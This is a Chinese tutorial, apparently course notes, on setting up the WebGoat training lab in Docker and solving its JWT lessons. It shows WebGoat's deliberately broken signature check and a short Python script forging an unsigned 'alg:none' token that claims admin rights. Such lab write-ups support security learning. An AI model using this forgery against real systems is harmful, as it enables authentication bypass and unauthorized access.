小迪安全v2023 javaWeb项目

文章目录

- 小迪安全v2023 javaWeb项目
- 1. webgoat靶场
- - 1. 环境配置与docker操作
- 2. jwt令牌
- - 1. jwt 第四关签名没验证空加密
  - 2. jwt 第五关爆破签名密钥
  - 3. jwt 第八关 kid参数可控

1. webgoat靶场

1. 环境配置与docker操作

自行下载配置vmware的kali-linux环境。

下载jdk-17

sudo apt update
sudo list --upgradable
sudo apt install openjdk-17-jdk
sudo update-alternatives --config java
java -version

下载docker

sudo apt-get install docker.io

使用代理加速docker pull

sudo mkdir -p /etc/systemd/system/docker.service.d
sudo touch /etc/systemd/system/docker.service.d/proxy.conf编辑proxy.conf文件,按i插入，esc回到命令模式，:wq保存退出。
代理替换成自己的
vim /etc/systemd/system/docker.service.d/proxy.conf[Service]
Environment="HTTP_PROXY=socks5://192.168.2.103:11451"
Environment="HTTPS_PROXY=socks5://192.168.2.103:11451"
Environment="NO_PROXY=localhost,127.0.0.1,.example.com"

然后重载systemd并重启docker服务

sudo systemctl daemon-reload
sudo systemctl restart docker

拉取靶场镜像

docker pull webgoat/webgoat-8.0

查看镜像列表

docker images

在这里插入图片描述

下面运行docker容器

-i：表示以交互模式运行容器。

-d：表示以后台模式运行容器。

-t：表示分配一个伪终端（pseudo-tty）并绑定到容器的标准输入上。

并将容器的8080端口(右边)映射到主机的8080端口(左边)，设置容器的名字为webgoat-114 ，使用的镜像为webgoat/webgoat-8.0。

docker run -p 8080:8080 -idt --name webgoat-114 webgoat/webgoat-8.0

查看容器列表
docker ps -a暂停容器
docker stop id号开启容器
docker start id号删除容器
docker rm id号进入容器操作
docker exec -it webgoat-114 bash
ls
java -jar webgoat.jar退出容器
exit

在这里插入图片描述

在主机访问虚拟机的webgoat服务

虚拟机ifconfig看一下地址，然后在主机访问。

![在这里插在这里插入图片描述

2. jwt令牌

在这里插入图片描述

用户登录后，服务器会验证用户名密码，然后返回jwt令牌。后面用户与服务器交互要加上Authorization Header，让服务器检查jwt签名。

载荷常见属性

iss：发行人

aud：受众

iat：签发时间

exp：过期时间

1. jwt 第四关签名没验证空加密

这关比较抽象。

JWTToken.java中

private static boolean validateSignature(String secretKey, String jwt) {if (hasText(secretKey)) {JwtConsumer jwtConsumer =new JwtConsumerBuilder().setSkipAllValidators()//不验证签名或声明，跳过所有验证步骤.setVerificationKey(new HmacKey(secretKey.getBytes(UTF_8))).setRelaxVerificationKeyValidation()//放松对验证密钥的验证.build();try {jwtConsumer.processToClaims(jwt);return true;} catch (InvalidJwtException e) {return false;}}return false;}

在这里插入图片描述

处理reset的函数

开启抓包，然后切换到Jerry，然后drop直到出现access_token，burpsuite选择拦截响应，然后forward一次，然后drop直到遇到响应包出现access_token。

在这里插入图片描述

将这时的access_token放进jwt.io网站中

在这里插入图片描述

根据上面的值编写python代码

import jwt
import base64
def b64urlencode(data):return base64.b64encode(data).replace(b'+', b'-').replace(b'/', b'_').replace(b'=', b'')
#Base64URL编码与Base64类似，主要是将Base64编码中的=省略，+替换为-，/替换为_
print(b64urlencode(b'{"alg":"none"}') + b'.' + b64urlencode(b'{"iat":1720450665,"admin":"true","user":"Jerry"}') + b'.')